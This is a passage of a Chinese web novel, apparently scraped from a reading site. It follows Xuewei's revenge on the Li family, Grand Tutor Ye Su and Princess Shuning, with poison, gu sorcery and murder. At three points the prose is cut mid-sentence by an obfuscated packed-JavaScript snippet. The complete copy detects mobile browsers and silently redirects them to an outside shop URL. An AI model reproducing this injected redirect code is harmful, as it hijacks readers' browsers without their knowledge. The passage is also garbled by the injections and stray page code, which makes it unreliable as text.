雪微静静地听着,一不小心手抖一番,墨汁浸染了整幅画面,“自从李玄回到李府后,李府的局面顿时发生了变化,以李朔为首的守旧派,与以李玄为首的革新派二者发生了激烈的斗争。” 但不论如何,李府只不过是一个表面上看起来的金丝鸟笼罢了。 雪微根本都没有把李朔放到眼中,只不过是觉得,就这么简单的让他死了,有点不划算而已,死是最简单的事情,脖子一抹,人也就没了。 “姐姐,你不要走。”雪微做了一个梦,梦中,姐姐微笑的看着她,林雪柔比雪微大十五岁,在雪微的印象中,姐姐很早就已经出嫁了,少时,雪微经常来到李府游玩,印象中,姐姐与姐夫十分相爱,李朔对雪微也是十分疼爱,在外人的眼中,他们是天造地设的一对。 李玄出生以后,他们二人之间的情谊反而越来越好,雪微经常欺负李玄,她最喜欢李玄哇哇大叫,但后来这一切都结束在宁王府被屠杀的那天。 “李朔,你到底有没有爱过姐姐,你对姐姐可曾有过一丝真心。” “还是,你自始至终只不过是为了攀上宁王府这座靠山。”雪微的眼眸深邃而沉静,“姐夫,你最在意的东西会是什么呢?”她眼神闪烁,嘴角轻微上扬:“不管你在乎什么,我都会让你失去。” “我的存在,就是你灾难的开始。” ...... “逆子,你一回来,就搞得家里乌烟瘴气的,你到底想干什么?”李朔眉心拧成一道结,心中十分焦躁与不安:“你想毁了整个李家吗?” 族中的长老们说李玄暗地里截断了他们的货源,致使他们的店铺损失了成百上千两银子,各位长老,掌柜的纷纷前来投诉,希望李朔能够好好管管李玄,大家都是李家人,何必把事情做的这么绝情呢? “我想干什么?”李玄挑了挑眉,一脸不屑的看着李朔:“你不是明知故问吗?” “这不可能。”李朔想都没想的就直接拒绝掉:“我是绝不会让你母亲的牌位进我李家的宗祠。” “那我们就没什么好谈的。”李玄双手紧握成拳,克制心底的愤怒,“我得不到的东西,宁可毁掉。” “逆子,我李家没有你这样的儿子,滚......滚......你给我滚远点。”李朔喘着粗气,眼神中充满着恨意的看着李玄,同样身为儿子,为何生出个这么样的东西,果然是身体里面流淌着林家的血脉,骨子里一股叛逆。 李玄神色凝重,不知在沉思着什么,他努力的压制住心底的怒火,“好,我滚,你给我记住了,我的母亲是你明媒正娶,八抬大轿求娶进来的,这座府里,只能有一位大夫人,那就是我的母亲。” “李府一半的财产都是我母亲的陪嫁,你如果想把我们母子赶出李府,那么你就干脆有点骨气,把我母亲的财产给我吐出来。” “滚......”李朔怒气冲冲,一掌拍到桌子上,震得茶杯里的水都洒满了一桌,“逆子,你给我滚。” 他气得身体止不住的颤抖,满脸的惊愕与不解,简直和他娘一个德行,早知道李家今日会因为他遭遇此劫,当初,就不应该把他送到乡下的庄子里去,而是直接弄死他,没想到他的命这么大,居然能够活了下来。 “当年,乡下庄子里的人前来通报,说是庄子里遭遇大火,大火扑灭后,找出了三具男性尸体,对应的正好是李牧,李冲和李玄。”李朔长叹口气:“我还以为他早已经葬身火海了呢?” “玄儿,你为什么要活着回来呢?你是来为你娘报仇的吧。” 他沉默的看着李玄消失的背影,看了许久,“你不该回来的。”被瓷片震伤的手背,鲜血从手指缝滴落到地面上,溅起一滴血花。 “来人。” “大人。” “给我派人仔细盯着他的一举一动。”他极力压制住内心的挣扎:“找个机会杀了他。” “是。” “玄儿,不要怪爹,爹也不想这么做的,要怪就怪你自己,为什么偏偏要阻挡我的路,谁挡了我的路,谁就得死。” 他想起了自己和雪柔的一点一滴,“你娘也是这样,你也是这样,你们为什么都要逼迫我,我不想杀你们的,但是,你们如果不死,陪葬的就是整个李家。” ...... 霜月传来消息,说是她在叶太傅府中发现了一处地牢,她跟随着叶肃进入地牢,在地牢里面看见一个浑身长满白毛的怪物,为了避免打草惊蛇,她没有多做停留,便离开了。 “地牢,浑身白毛的怪物。”雪微看着手中的密信,神色凝重,沉思了许久。 她拿起霜月手绘的标志着地牢具体位置的地图,地牢与书房高度重叠,“难道,地牢就在太傅府书房的下面?” “书房的下面,有一处地牢,里面关押着一个浑身毛发的怪物。”雪微嘴角微微上扬:“看来,太傅府中的秘密不少啊。” “他到底在做什么?”雪微眉头轻微皱起,“该不会是用人做实验吧。” 夜幕降临,雪微换了上夜行衣,起身来到叶肃府邸,东西南北方向各有一位武功高强的暗卫把守,上一次来的时候,还没有这么多暗卫,今日怎么突然增派了人手。 她意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她斜看了一眼十一,转身便笑道:“后会有期。” 刚才一瞬间,十一整颗心一直跳动不停,他也不知道自己怎么了,只有在遇到那个人的时候,自己的心脏才会不停的跳动,他想应该是和自己体内的蛊虫有关,但刚刚在地牢的时候,他突然觉得那个人似乎就在他的身边。 “难道真的是我认错了,这两个人明明长得一点都不一样。”十一脸上的情绪十分复杂,“今日也不知怎么回事,怎么老是出错。” “也许真的是我多心了。” ...... “少宫主,发现什么了?”锦瑟站在一旁,心中充满了好奇。 雪微轻咳两声,拿起茶壶倒了杯水,“叶肃书房下面的地牢里的那个人是叶宏。” “叶宏。”锦瑟略微吃惊,“少宫主,真的会是叶宏吗?” “错不了。”雪微脑中想过无数的想法,也派人去寻找过真正的叶宏,但叶宏就像从这个世界上消失了般,怎么查都查不到他的踪迹,雪微心里一阵恶心,没想到,叶肃居然会把自己的儿子亲手制作成人不人鬼不鬼的怪物。 “告诉叶宏,真正的叶宏被铁链锁在书房下面的地牢里。” “是。”锦瑟微微行礼便自行离开了。 今晚的月亮如同一块白玉一般,高高的悬挂在空中,“今日十五,所以真正的叶宏才会发狂。” 她想到了当年巫师对她说过的一句话,“凡是所求,终将付出代价,至于代价是什么,没有人会知道。” 雪微当年为了习得噬魂蛊,几乎连命都快丧失了,最后也落了个终身不孕的代价,她今日得以存活在这个世间,就是为了复仇。 为了能够给族人复仇,她已经没有什么可以失去的了。 “爹,娘,姐姐,哥哥,还有所有的林家的族人们,请你们在天上好好看着,我一定会亲手为你们讨回公道,让他们承受报应。” 10. 傀儡 屋内光线暗淡,李玄瘫软的坐在一个角落里,手臂上的伤口已然发黑,他呆呆的坐着,一动不动的,不知在沉思着什么。 “你受伤了。”雪微解开李玄的上衣,冰冷的指尖触摸到李玄的伤口,李玄抬头,二人目光短暂相接。 “砍伤你的刀锋上抹了毒,你知道是何人所为吗?” “还能有谁?”李玄苦笑道:“这个世上,除了他,还有谁希望我死呢?” “我死了,不是刚好如了他的愿。” “放心,我不会让你死的。”雪微看着李玄,浅浅笑了笑,“你的命大着呢?” 漆黑如墨的发丝,如流水般从李玄的手指尖划过,雪微手拿银针,那专注的眼神,令世间万物瞬间失色。李玄滚了滚喉结,脸颊红得发烫,豆大的汗珠从额间沿着脸颊滚落,划落到衣服上,浸湿了一片。 “雪姨,当初,你为什么会救下我。”那漆黑深邃的眼眸中,却有着一丝如水般柔情,似乎在寻求一份答案。 雪微沉默了片刻,一身衣白如雪,孤傲笔直的站在阳光底下,针又细又长,在光线的穿透下,如同琉璃般,有种爱不释手。 “嘶。”李玄额头青筋直冒,冰针从他的脖颈处沿着血管贯穿他的全身,持续的疼痛让他一直努力的克制,“雪姨,你下针能不能轻点。” “不能。”冰冷的目光看不出一丝的情绪,曾有一刻,李玄很想冲上去死死的抱住雪微,他不明白,一个人到底经历了什么,才会变得这样的冷漠。 然而,李玄强忍着自己内心的冲动,冷漠,孤傲,透露着一股高位的威压,雪微从未在他的面前讲过自己的身世,而在雪微的面前,李玄却如同琉璃般,一眼到底的透明。 李玄突然觉得眼前的这个人似乎被蒙上了一层薄薄的雾,“她对我十分的了解,而我对她却一无所知。” “你为何这样看着我?”雪微的脸上依旧没有任何的表情,视线相交的那一刻,李玄的瞬间把头偏向一边,他的心都快跳到嗓子口了,激动,紧张,像炙热的火焰般,焦灼着他。 他微微低下头,脸颊不由得泛红,雪微冰冷的手指轻轻的清洗着李玄手臂上的伤口,他的眼角泛着些许笑意,就像一头温顺的小鹿。 “他想杀你,你准备怎么做?”雪微的语气里依旧没有一丝温度。 “还能怎么做,我总不能杀了他吧。”李玄苦笑道:“他毕竟给了我生命。” “虎毒不食子,他已经没有资格做你的父亲了。”雪微冷眼扫过:“如果你开口,我可以替你动手。” “不。”李玄连忙拒绝道:“雪姨,这是我和他的事,我想自己解决。” 他看着雪微,眼神中透露着一丝痛苦与不安,心想道:“我总不能靠你一辈子吧,我是一个男人,我也希望有一天,你也能靠一靠我。” “别动,你的发丝有些凌乱了。”他拿起木梳,三千青丝垂顺而下,如同瀑布般丝滑,垂至腰间。李玄的目光落到了雪微吹弹可破的白皙的脸颊上,只要待在她的身边,李玄心里就会觉得无比的宁静。 世间万物在李玄的眼中,都不如雪微微微一笑。 ...... “少宫主,属下前去江南探知,叶老太爷当时在江南认识的那位歌女名为蝶依依,她不是郁郁寡欢而死,而是落水而亡。”红袖说道:“但有一个奇怪的事情,就是与蝶依依相熟的人,几乎全都消失不见了。” “如果只是简单的落水而亡,那些人又怎会消失不见呢?”雪微沉声道:“一个熟知此事的人都没有找到吗?” 红袖点了点头:“属下已经在周围寻访多日,确实没有,甚至连蝶依依这个人,像是从未存在过一样。” “我知道了,你先下去吧。” 昨日在太傅府中看到的绝对是西域巫师口中所说的蛊人,这点,雪微几乎是十分的肯定,只不过私自在西晋都城内豢养蛊人,那可是抄家灭族的大罪,雪微脸上露出几分笑意。 当年,巫师曾经告诉过雪微,蛊人一般都是以女子为母蛊,从母蛊肚子里诞生的男子便是子蛊。可是,却有一点,雪微始终想不明白,为何叶肃要用鲜血供养叶宏,以血为引,那是西域对将死之人的献祭,同时也意味着他会成为一个没有意识的怪物。 做为一个子蛊,只要母蛊还活着,那么他是不需要吸取鲜血的,除非,母蛊已死。 如果叶宏是子蛊,那么谁是母蛊呢? 大夫人? 雪微想到这些,潜意识总觉得此事非比寻常,如果大夫人是母蛊,那么叶宏做为一个子蛊是完全不用吸取新鲜的血液的。 “除非,大夫人不是母蛊。” “那么这件事情就更加奇怪了,如果大夫人不是母蛊又怎么会生出子蛊的儿子呢?” “难道是......” 雪微有了一个胆大的猜测。 “叶肃才是子蛊,如果叶肃是子蛊,那么蝶依依就是母蛊,母蛊死了,子蛊必然要寻找一个血脉相连之人,把自己身上的血换到他儿子的身上,只有这样,他才能够摆脱母蛊带来的控制。” “不对。”雪微转头回想:“蝶依依死的时间不对。” “她不是落水而亡,也不是郁郁寡欢而死。” “也许蝶依依根本就没有死,而是被叶肃囚禁起来” 雪微低声道:“如果真的是这样,那么这一切都说得通了。” ...... 白日还是阳光明媚,可到了夜间,却突然大雨遮天,十一浑身散发冷汗,身体止不住的颤抖,“你是谁?” 女子一身浅粉色华丽服饰,眉宇之间秀气十足,“修儿,我是娘啊。” “娘。”他头痛不已,“娘?” “印象之中,我从未见过娘亲,可这女子一上来就说她是我娘。” 大雨磅礴,一道闪电从天空划过,紧接着,惊雷一声吼,十一身体颤抖,瞬间被惊醒,“娘?” 最近他的脑海中经常会出现这样的片段,女子看起来约莫二十五岁,面凝鹅脂,唇若点樱,穿着一身浅粉色的流彩暗花云锦裙,举手投足之间尽显雍容华贵。 “娘?” “你会是我娘亲吗?”十一脸色沉郁,风吹得窗户吱吱作响,都入春了,天气却还是这样变化无常,他起身,朝着窗外望了望,雨似乎还没有要停下来的意思,窗外的那颗桃树昨日还花开满树,今日树上的花朵却所剩无几。 掉落到地面上,白茫茫一片,像雪一般。 “雪?”十一脑中想起一名女子的身影,洁如白雪,却似幽灵,他苦笑一声:“我怎么会想起她。”右手不自觉的抚摸了一会胸口,每次见到她,心脏都会扑通扑通的跳个不停,“一定是因为中了噬魂蛊。”十一安慰道。 “等三年过后,我们之间就会一别两宽,毫不相干。” 他抬头看向暗淡的天空,乌云裹挟,始终散不去,看来今日这场雨是停不了了。 ...... 午后的阳光淡淡的洒落,雪微坐在大树底下,微闭着双眼,上次百花宴之后,公主大病一场,听公主府中之人所说,是中了邪。 “确实是邪啊。”雪微不以为然,脸上没有丝毫的神情,似乎对此事了如指掌,“冤魂索命,你说是不是邪?” 牵丝偶,丝傀儡。 百花宴当日,雪微通过与淑宁简单的触碰,便把蛊虫引入到了淑宁的身体里,蛊虫是雪微用白梅的汁液浸泡了九九八十一天,当淑宁喝下洒下白梅花瓣的酒时,蛊虫就会顺着熟悉的味道,在她的身体里生根。 雪微看了看手腕上闪着白光的银镯,眼中闪过一股淡漠的恨意,银镯摇晃,发出清脆的铃声:“淑宁,你是高高在上的公主,但也只不过是我手中的傀儡。” 当年,叶肃只不过是一个七品翰林院编修,圣上怎么可能蠢到会因一个七品芝麻官伪造的书信就对宁王府众人进行屠杀,一个七品官员对朝中大臣进行弹劾,本就是一件绝不可能实现的事情。 雪微看了看手中模仿父亲字迹的那封信件,“如果不仔细看,确实模仿的十分相像。” “可惜。”雪微深呼吸。 父亲的右手曾经在战场上击杀敌军的时候,受过刀伤,所以,写字的时候,手都会微微颤抖。 而这封书信上,字迹行云流水,一点颤抖的迹象都没有。 “叶肃,你找人模仿,也要模仿的像一点嘛?” 雪微思索了许久,也想不通淑宁公主为何要帮助叶肃,直到见到了齐哥哥,这一切突然豁然开朗了。 你为爱疯狂,不惜陷害忠良,雪微右手紧握的茶杯,瞬间,炸裂开来,瓷片深深的刺入掌心,“你以为你所做的这一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她亲手为母亲报了仇,杀了自己的父亲,这是多么的讽刺。 红袖看着雪微表面那副沉静的神情,她明白,血海深仇,不共戴天。 “少宫主,属下先离开了。” 雪微微微点了点头。 人相处久了,多少都会有点感情,红袖心中有些不忍,“少宫主,就算是要复仇,也要先保护好自己的身体。” “不要让自己再受到伤害了。” “痛苦是会反噬自己的。” 雪微直视着红袖的眼睛,微笑点了点头。 红袖叹了口气,笑了笑,没想到,如今自己居然变得有些啰嗦了。 ...... 张芝芝从军营回来大醉三天以后,完全像变了一个人似的,她变得不再爱说话,府中的丫鬟,府卫见到她,她也不再和任何人打招呼。 悲伤是真的,心痛真的,悲痛欲绝到连哭都哭不出来也是真的。 “爹,你说人为什么要活着呢?活着好累啊?”身体如抽丝剥茧般,失去了所有的动力。 “芝芝。”张勇心中有些忐忑不安,从前活泼开朗的芝芝,今日突然变成这幅模样,犹如一幅行尸走肉般,“芝芝,你还有爹爹,还有各位叔叔伯伯们。” “你可千万别想不开啊。” 张芝芝对着张勇咧嘴笑了笑:“爹,你放心吧,我会嫁给太子的。” 她心如死水般,没有一丝波澜,她想过忘记与孟毅的那一段情,因此把自己喝醉了三天三夜,可是酒醒之后,思如泉涌般,瞬间袭击了她的脑海,她忘不掉,真的忘不掉。 “孟大哥,我一定会把你忘记的。” “我会把你彻底忘记的。” 张勇心中十分愧疚,他不敢直视芝芝的双眼:“此事都怪爹,是爹不该以军功相要挟,阻挠你们的,爹错了。” “芝芝,你不要这样,好吗?”张勇恳求道:“看见你这个样子,爹心里很不是滋味。” “是爹不对,是爹不好,如果你不想嫁给太子,爹愿意放弃官职,我们一起离开京城。” 芝芝摇了摇头,“回不去了,一切都回不去了。” 她目光呆滞的看着张勇:“爹,圣上已经下旨,就算爹现在辞去官职,芝芝也必须嫁给太子,爹难道不知道吗?” “可是......” “没有什么可是了,爹,你先离开吧,我想休息了。”她把张勇推出了屋外,泪水瞬间从眼眶中掉落下来。 她曾经做梦都想成为孟毅的妻子,可如今,一道圣旨,她深深的呼出一口气,这是何等的荒谬,她要嫁给一个她根本就不爱的男人,然后此生和这个男人捆绑在一起,为他生孩子,只因为这个男人是太子,他的爹是王。 王的圣意,是没有人能够拒绝的。 11. 邪祟 夜深人静,叶宏四处张望,眼见周围没有一丝人影,他轻轻的关上屋门。 书房是叶府的重地,叶肃从不允许任何人靠近书房半步,一声尖叫声从背后突然响起,叶宏跌坐到草丛之中,他拍了拍胸脯,深深的呼出一口气,仔细的瞧了瞧,原来是只黑色的野猫。 他的眼眸在漆黑的夜色中如同机警的野兽般,缓缓的朝着书房的大门靠近。前几日接到消息说是真正的叶宏就藏在书房下面的地牢里,他因此兴奋了好几日,终于逮着机会,“我才是叶宏,我才是太傅府真正的大公子。” 地牢阴暗潮湿,叶宏嘴唇微微向上:“没想到,书房下面居然还有这么一块地方?”他心底又惊又喜,鼓足了勇气,借着微弱的光线,继续向前缓慢的行走。 “竖子,你怎么会来这里?”叶肃从黑暗的角落里走了出来,神色大为惊讶,他知道有人来过地牢,所以这几日一直守株待兔,既然他们来过一次,肯定会再来第二次。 但没想到,这几日等来的却是他这个假冒的儿子,他想干什么,他转头看了看血池里昏睡的叶宏,心里暗自想道:“难道,他知道了,所以想前来杀掉真正的叶宏?” 姜还是老的辣,假叶宏看到叶肃的脸,一下子变得煞白,“爹......爹......我不是故意的,我......我走错了路,我这就回去。” “晚了。” 无论假叶宏怎么为自己辩解,叶肃都装做没听见,“你既然发现了我的秘密,你就得死。” “爹......爹......你想干什么?” 叶肃遏制住假叶宏的咽喉。 “我是你的儿子啊。” “爹......爹......你不能杀我,我是你的儿子。”假叶宏声音嘶哑,有些喘不过气来。 “你只不过是我找来的替代品,根本就不是我的儿子。”叶肃微眯着双眼,凝视着假叶宏,“你千不该万不该,不该来到这里的,如果你老老实实的当叶府的大公子,也许我会留你一命。” “可惜。”叶肃叹息道:“你知道的太多了。” “爹......爹......我保证,保证不会把今日看到的事情说出去的。”假叶宏身体止不住的颤抖,浑身使劲挣扎着,“我保证......” “只有死人才会保守秘密。”叶肃满眼嫌弃,“给你。”他把假叶宏的身体往血池里面扔去,“这是给你找的新躯体。” “从今以后,你就是太缚府的大公子叶宏。” ...... 微风拂过,一阵清脆悠扬的铃声响过,“你是谁?”淑宁从梦中惊醒,双眼瞪得大大的看着眼前的浑身血淋淋的小女孩,突然,脸色煞白,胸膛剧烈的起伏着:“林雪微,你是......林雪微?” “你......没死......” “不......这不可能......”她掀开被子,慌慌张张的从床塌上起身,“走开......走开......” 雪微右手半掩着自己的嘴巴,噗呲,笑出了声,她微笑的看着淑宁那惊恐的表情,继续朝着淑宁缓慢走去。 “走开......” 她蓬头垢面,眼神闪烁不定的蜷缩在一个角落,“不是我......不是我......不是我杀的你。” 她停顿了片刻,浑身颤抖道:“是雨菲,是雨菲,当年是她亲手把你推落悬崖的。” 突然,空中一声巨响,紧接着,电闪雷鸣,淑宁直接被震晕了过去。 雪微笑了笑,轻咳了两声:“这么胆小,怎么敢做坏事呢?” “如今,你也是做了母亲的人了。”她叹了口气:“今日暂且,先放过你。” ...... “母亲,母亲,你醒醒。”静宜声音嘶哑,泪水模糊了她的双眼。 一清早见到母亲衣衫不整的躺在地上,昨日下了一夜的雨,母亲的病才刚好,如今父亲刚走,却又发生了这种事,难道府中真的有什么邪祟的东西在作怪。 “郡主,你要当心,公主一定会没事的。”宛心在一旁安慰道:“公主吉人自有天相,一定会有菩萨保护的,郡主,你就安心吧。” “真的会没事吗?”静宜摸了摸淑宁的额头,脸色骤变道:“快宣太医,快宣太医。” 额头滚烫,脸颊绯红,“母亲,你一定要坚持住,太医已经在来的路上了。” 时间一秒一秒的过去了,“公主的高烧已经退下去了,过不了多久就会醒过来。”柳太医叮嘱道:“公主是因昨日受了风寒,加上先前身体一直虚弱未曾调理,才导致如今寒气入体,以后注意休息,切记再染上风寒。” 静宜点了点头:“多谢柳太医了,太医慢走。” “不要......走开......走开......” 淑宁掀开被子,“不是我......不是我......” “母亲......母亲......你怎么了?”静宜看着母亲脸色由绯红转苍白,心中十分苦闷:“难道,府中的邪祟还未除尽吗?” 她给淑宁重新盖好被子,正准备转身离开,此时,淑宁的手紧紧的拉住了静宜的手腕,指甲深陷,静宜眉头紧皱,手腕上的疼痛直击心底,怎么掰都掰不开。 “母亲这是怎么了,难道是噩梦缠身。” 突然,淑宁睁大眼睛呆呆的看着床顶,嘴里嘀咕道:“不是我......不是我......”她神色紧张,脸上的表情变得无比的怪异,“对不起,静宜。”她看着沾满了静宜鲜血的掌心,恨不得把自己的这只手给剁下。 “对不起,都是母亲的不是。” 她跪下对着空气拜了拜,“林雪微,当年的事,是我的不对,你要报仇,就找我吧,不要伤害我的女儿。” “不要伤害我的女儿。” 她歇斯底里,眼底尽是惊恐。 静宜用一种奇怪的眼神看着淑宁,一向高傲的母亲,如今却跪在床塌上,对着四方空气进行跪拜,“难道这间屋里真的有什么邪祟。”她不经四处打量了番。 父亲才刚走没几天,府中又出现了这种情况。 “宛心,今日再去请天师过府,本郡主到要看看,邪祟到底长什么样?” “是,郡主。” ...... 身形小巧,薄如蚕翼,尾部闪烁着幽蓝色光芒,一眨眼,钻进雪微的银镯之中,“叶宏死了。”她在叶宏的身上种下了噬魂蛊,人死则蛊虫就会自动回归。 “锦瑟,通知霜月,叶宏死了,叫她在太傅府里自己多留意一点。” “是。” 霜月喜欢叶宏,如果知道叶宏死了,会不会更加收心一些,雪微低头沉吟了片刻,这幅踏雪寻梅图也快画完了,她盯着这幅白梅看了许久,总觉得还欠缺些什么东西,但目前却始终想不出来。 “算了,就这样吧。” 她放下画笔,站在窗边看了许久,微风吹过,吹得树上的树叶吱吱作响,没想到叶肃居然这么心狠,连自己的亲儿子都舍得下手。 “也是,他一直都是这么心狠,如果他不心狠一点,也许根本就坐不上这个位置。” ...... “少宫主,霜月联络不上,而且今日属下从太傅府前路过,发现叶宏正好从府里走出来,他没死。”锦瑟神情有些惊讶。 少宫主说叶宏死了,但今日所见,很明显的,叶宏完好无损的正待在太傅府中,她觉得十分奇怪,于是便赶紧回来,告知少宫主。 “没死?”雪微摸了摸右手手腕上的银镯,神色质疑道:“不可能,叶宏身上的蛊虫三天前就已经自动回归,怎么会没死呢?” “除非......除非现在在太傅府中的那个叶宏不是那个假的叶宏,而是......” “而是地牢里面的那个叶宏。” 她看了看锦瑟,便从座椅上站了起来,来到佛堂,霜月的心灯一闪一闪的,似灭但却还有一丝生机。 “不好,霜月怕是已经遇害了,她的心灯快灭了。” “霜月死了?”锦瑟心底有些不是滋味,虽然同为杀手,杀手之间是不能产生任何感情的,但同伴的死,还是在锦瑟的心底激起了一道波澜,她不是什么冷血的怪物,她杀的都是该杀之人。 “还没死透。”雪微言语中有些痛惜,每一个出去执行任务的杀手,都会点一座心灯,心灯灭,则人已死,心灯未灭,则还有一线生机,如今霜月的心灯,还有一丝丝的微弱的光在摇拽。 “救吗?”锦瑟言语有些忐忑,她不知道该不该说这句话,但最终,她还是选择说了出来,因为,她做不到这么冷血,亲眼看着同伴的生命在她的眼前逝去。 雪微看着霜月微弱的心灯沉默了许久,“今晚,我先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892833|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去探一探太傅府邸,你就好好的守护霜月的心灯,如果她的心灯灭了,那只能说她命该如此。” 锦瑟微微笑了笑,“知道了,少宫主,我一定会守护好霜月的心灯。”她看着雪微那张冷若冰霜的脸庞,心里有着一丝丝的暖意,少宫主终究还是心软了。 对于一名杀手来说,心软就是致命的大忌,可是,如果连相处已久的同伴都见死不救,那和怪物又有什么差别。 所有人都说少宫主铁面无私,杀伐果断,但是,只有她知道,少宫主手中杀的,都是该杀之人,她从不滥杀无辜。 月黑风高,雪微抬头看了看天空,今晚的夜空少了许多的星辰。雪微把自己隐藏在黑暗之中,与黑暗融为一体。 她心中略微觉得有些奇怪,今晚太傅府邸连一名暗卫都没有,这种气氛,显得十分诡异,雪微笑了笑,“难道他们知道我会来,所以提前撤掉了暗卫?” “可惜,叶肃,怕是不能如你所愿了。” 太傅府中,霜月奄奄一息,她的身体被摧残了许久,浑身上下都浸满了血迹,身上没有一处完好的肤色。 “死了吗?”一名府中下人轻声问道。 “快死了。” “公子今日撤掉了所有的暗卫,就是为了暗中处理掉这个人。” “她怀了公子的骨血,不能再留着她了。” 二人拿出一块草席,简单卷了卷,便扛着霜月往乱葬岗走去。 雪微一路偷偷的跟着他们,眼见他们丢下霜月,离开后,她便立即走上前去,掀开草席,探了探霜月的脉搏,“还好,有气。” 今晚的月色可真是无比漆黑啊,连月亮都躲到云层中,雪微仅凭着一丝微弱的光线,给霜月以及她腹中的孩子输送了一丝真气,“还好,身体底子不错,要不然,怕是早已经死亡了吧。” “可惜,失血太多,孩子怕是保不住了。” 她正准备抱起霜月,借着微弱的光线,她突然发现霜月的脖颈处,有一块牙印,似被人吸掉了血液,“不对,怎么会这样。” 那排牙印之处,血迹也渐渐变得暗黑起来,似中了毒般,雪微赶紧查看了一下,掏出冰针,对着那牙印之处的穴位扎了去,冰针入体,霜月的身体突然颤抖了番,随后,她微微睁开了双眼,气息十分微弱道:“少宫主。” “对......不......起......” “是我错了,男人是没有爱情的。”她声音十分嘶哑,心中痛苦难忍:“他嘴里说爱我,但在我们缠绵之时,却从背后死死的咬住了我的脖子,吸光了我身体里的血。” “我活不了了,是不是。”她眼神中透露着不甘,“少宫主,属下能否拜托你一件事?” 雪微微微点了点头。 “帮我报仇,替我杀了他。” 霜月说完,突然严重咳嗽起来,她嘴角泛出一丝鲜血:“他......他不是......人。” “他不是什么?”霜月的声音十分微弱,雪微也不知道自己有没有听错,“不是什么,叶宏不是什么?” 按道理来说,叶宏应该早就已经死了,但如今却好端端的出现在太傅府中,这个叶宏,莫不真的是地牢里面那个浑身长满毛发的怪物? 霜月的话也许正好印证了雪微心中的想法,太傅府中的这个叶宏,喜欢吸血,两个叶宏长得一模一样,所以霜月也没有认出谁才是真正的叶宏。 雪微思索了片刻:“原来如此,以前那个假的叶宏不是叶肃的亲儿子,如今在太傅府中的叶宏才是叶肃真正的亲儿子,因为他们血脉相连,所以叶肃才能用叶宏的血替换掉自己体内的血液,从而摆脱母蛊的控制。” “叶肃啊叶肃。”雪微心里叹息道:“你可真是心狠手辣,连自己的亲生儿子都不放过。” “少宫主,这是......?”锦瑟见到雪微双手抱着霜月,衣服上被血迹浸染,她心中有些担忧,问道:“霜月,她怎么样了?” “她死了。” 雪微的语气十分冷漠:“她被叶宏杀死了。” “没想到,还是没来得及救下她。”锦瑟心底有些泄气,十分不好受。 “给她找一幅好的棺木,让她入土为安吧。” “是,属下知道了。” 雪微看着霜月,亲自动手整理了一下她的衣襟,“霜月,你安心去吧,你的仇,我一定会替你报的。” 12. 驻颜丹 “贵妃真是摆好大的架子啊,本宫来了,都不知道出来迎接。”淑宁看着沈贵妃正襟危坐在金塌之上,眼神十分凌厉,这女人,一日不做作,反倒忘了当初到底是谁把她推上这贵妃的宝座的,又是谁让她拥有了今日的一切。 “公主大驾光临寒舍,不知所为何事?”沈贵妃笑了笑,眼底尽是不屑,当初你不是瞧不上本宫吗?可如今坐在这贵妃金塌之上的人,是本宫。 “本宫才是贵妃,你只不过是个公主罢了,还想跟本宫摆谱。”她心底暗自想了想,本宫到要看看,你今日到底要干些什么? “跳梁小丑,算了,不跟你计较了,如果不是你对本宫还有些用处,今日,也轮不到你站在这里,和本宫平起平坐。”淑宁忍气吞声,内心激烈斗争,最终理性战胜了心底的愤怒,她笑道:“林雪微来找我了。” “林雪微。”沈贵妃神色变了变,心里暗自想道:“林雪微这个名字已经消失了十三年了,淑宁今日又重新提起这个名字,她到底想要干什么,难道是想拿此事威胁我?” 她沉思了片刻,仔细的端详着淑宁脸上的神情,希望能够从她的双眼中看出些什么,“当年,林家一夜之间被屠杀殆尽,雪微无处可去,于是便找到了我,那时候的我只不过是被寄居在林府,虽然我与雪微一起长大,但身份之间的鸿沟始终无法跨越。” “我承认,雪微待我很好,只要她有的东西,都会给我再准备一份,曾经一度我都快以为,我也是林府的小姐,可惜,丫鬟背后的窃窃私语,让我突然明白,这一切只不过都是雪微对我的恩赐。” “我的心中充满了对雪微的怨恨,恨不得她立刻从我的世界消失,每次看到她浑身幸福的模样,我就很想把她坠入地狱,我假装与她关系十分友好,甚至一度讨好着她,但这一切不过都只是虚假的面具罢了。” “林雪微死了,被我和你共同杀死了。”沈贵妃双唇在淑宁的耳边轻轻的说道:“公主,你不记得了吗?要不要本宫好好替你回忆回忆。” “她没死,昨日,她还来找过我。”淑宁眼中有些惶恐,“她的鬼魂真的来找过我。” 淑宁看着沈贵妃一脸不相信的模样,心里有些备受打击,“林雪微的鬼魂没有来找过你吗?” “你是不是魔怔了?”沈贵妃似乎有些没有耐心:“我说过,她死了,被我们共同推下了悬崖。” “海拔几千米的,林雪微是绝不可能还活着的。” “是你把她推下去的,跟本宫可没有一丝关系。”淑宁赶紧否认道:“是你杀的她。” “淑宁公主。”沈贵妃转头,抬眼望向淑宁,那双眼眸之中,透着一丝狠戾:“你没有杀她吗?” “你抢走了她的未婚夫,还用她的未婚夫做引,陷害她,让她掉入你的陷阱。” “你扪心自问,如果不是你的计谋,她怎么可能会来,又怎么可能被我推下悬崖。” 她用力捏住公主的双肩,笑道:“淑宁,林雪微是被我们共同杀死的,我们才是一条船上的人。” “如果让你的驸马知道了,你当年干的这些事,你觉得,你们之间的关系还能够像如今这样相濡以沫吗?” 